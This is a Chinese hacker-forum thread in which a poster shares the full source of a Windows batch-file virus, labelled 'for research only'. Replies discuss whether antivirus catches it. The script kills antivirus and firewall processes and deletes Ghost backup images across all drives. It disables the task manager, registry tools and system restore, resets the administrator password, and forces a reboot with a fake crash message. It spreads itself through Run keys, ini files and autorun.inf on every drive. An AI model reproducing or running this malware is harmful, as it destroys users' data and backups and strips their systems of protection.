[转帖][黑客基地]超级批处理病毒

起点

1. [转帖]超级批处理病毒
   
2. 
   
3. 网上的批处理病毒代码很少    我发一段我写的批处理给大家研究.....我水平很烂  也就只能写出这点东西了  大家多多包涵......还请斑竹给加个精吧...
   
4. 废话不多说了...大家看代码...仅供研究...不要做坏事...
   
5. @echo off
   
6. title You DEAD!!!!!!!
   
7. set taskkill=s
   
8. copy %0 %windir%\system32\cmd.bat
   
9. attrib %windir%\system32\cmd.bat +r +s +h
   
10. net stop sharedaccess >nul
    
11. %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul
    
12. %s% /im norton* /f >nul
    
13. %s% /im av* /f >nul
    
14. %s% /im fire* /f >nul
    
15. %s% /im anti* /f >nul
    
16. %s% /im spy* /f >nul
    
17. %s% /im bullguard /f >nul
    
18. %s% /im PersFw /f >nul
    
19. %s% /im KAV* /f >nul
    
20. %s% /im ZONEALARM /f >nul
    
21. %s% /im SAFEWEB /f >nul
    
22. %s% /im OUTPOST /f >nul
    
23. %s% /im nv* /f >nul
    
24. %s% /im nav* /f >nul
    
25. %s% /im F-* /f >nul
    
26. %s% /im ESAFE /f >nul
    
27. %s% /im cle /f >nul
    
28. %s% /im BLACKICE /f >nul
    
29. %s% /im def* /f >nul
    
30. %s% /im 360safe.exe /f >nul
    
31. net stop Shadow" "System" "Service
    
32. set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
    
33. for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
    
34. for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
    
35. rem 修改注册表.......
    
36. REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v
    
37. CheckedValue /t REG_DWORD /d 00000000 /f >nul
    
38. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d
    
39. 00000001 /f >nul
    
40. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t
    
41. REG_DWORD /d 00000001 /f >nul
    
42. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d
    
43. 4294967295 /f >nul
    
44. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t
    
45. REG_DWORD /d 00000002 /f >nul
    
46. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /t REG_DWORD /d
    
47. 00000001 /f >nul
    
48. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG_DWORD /d
    
49. 00000001 /f >nul
    
50. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d
    
51. 00000001 /f >nul
    
52. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d
    
53. 00000001 /f >nul
    
54. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD
    
55. /d 00000001 /f >nul
    
56. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d
    
57. 00000001 /f >nul
    
58. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskBar /t REG_DWORD
    
59. /d 00000001 /f >nul
    
60. REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d
    
61. 00000001 /f >nul
    
62. REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d
    
63. 00000001 /f >nul
    
64. REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v RestrictRun /t REG_DWORD /d
    
65. 00000001 /f >nul
    
66. cls
    
67. net user administrator 123456 >nul
    
68. for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul
    
69. echo @echo off >d:\setup.bat
    
70. echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新安装系统可以解决此问题
    
71. !^.^ >>d:\setup.bat
    
72. echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat >>d:\setup.bat
    
73. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
    
74. /f >>d:\setup.bat
    
75. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
    
76. /f >>d:\setup.bat
    
77. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat
    
78. /f >>d:\setup.bat
    
79. HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f >>d:\setup.bat
    
80. echo [windows] >> %windir%\win.ini
    
81. echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini
    
82. echo load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini
    
83. echo [boot] >> %windir%\system.ini
    
84. echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.ini
    
85. echo [AutoRun] >d:\autorun.inf
    
86. echo Open=setup.bat >>d:\autorun.inf
    
87. echo Open=system.bat >>d:\autorun.inf
    
88. attrib d:\autorun.inf +r +s +h >>d:\setup.bat
    
89. attrib d:\setup.bat +r +s +h >>d:\setup.bat
    
90. start d:\setup.bat /min >nul
    
91. echo @echo off >>C:\AUTOEXEC.BAT
    
92. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d
    
93. C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
    
94. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d
    
95. C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
    
96. REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d
    
97. C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT
    
98. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
    
99. /f >>C:\AUTOEXEC.BAT
    
100. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
     
101. /f >>C:\AUTOEXEC.BAT
     
102. REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat
     
103. /f >>C:\AUTOEXEC.BAT
     
104. echo if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BAT
     
105. copy %0 %systemroot%\windows.bat >nul
     
106. if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat
     
107. if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%windir%/system32/explorer.bat
     
108. if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat
     
109. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d
     
110. C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat
     
111. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d
     
112. C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat
     
113. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
     
114. /f >>%windir%/system32/explorer.bat
     
115. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat
     
116. /f >>%windir%/system32/explorer.bat
     
117. echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %
     
118. windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat
     
119. echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d %
     
120. windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat
     
121. echo start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat
     
122. attrib %windir%/system32/explorer.bat +r +s +h%
     
123. attrib %systemroot%/windows.bat +r +s +h
     
124. for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat
     
125. for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.bat
     
126. for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat
     
127. set drive=e f g h i j k l m n o p q r s t u v w x y z
     
128. for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf
     
129. for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf
     
130. copy %0 d:\Program" "Files\run.bat
     
131. for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min
     
132. >>%%c:\system.bat
     
133. for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat
     
134. for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul
     
135. for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul
     
136. if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min >>d:\setup.bat
     
137. attrib d:\Program" "Files\run.bat +r +s +h >nul
     
138. del %0
     
139. exit
     
140. 具体的意思我也不说了  太长了 有点批处理基础的朋友应该都看得懂
     
141. 
     
142. 虽然我检查过  但是写这么长难免有错误 哪里写错了 还请高手们多多指点..
     
143. 
     
144. 转载请注明出处！黑客基地

复制代码

dwjfeiren

谢谢 楼主 分享

waterou

这个，到底是什么效果？我小白，看不懂。。

Paxson

呵呵 咔吧应该有自我保护吧 这样能有用？

qianwenxiang

批处理结束的进程都不是反病毒软件的进程嘛 结束天网干什么呢？ 天网好像不监控文件   加了那么多启动项 还复制了那么多文件 挺变态的批处理

dwjfeiren

楼主，我只是保存了你的全贴内容在文本文档就给大蜘蛛杀了

cxcx3

看来蜘蛛的probably还是挺强的啊

waterou

卡巴，连目标查毒都没有反应。。

起点

原帖由 dwjfeiren 于 2007-1-26 20:39 发表
楼主，我只是保存了你的全贴内容在文本文档就给大蜘蛛杀了

蜘蛛的监控还是比较变态的
可以看看我发的上一个bat病毒,驱逐舰打开网页就报了

moonsilver

很早就见过了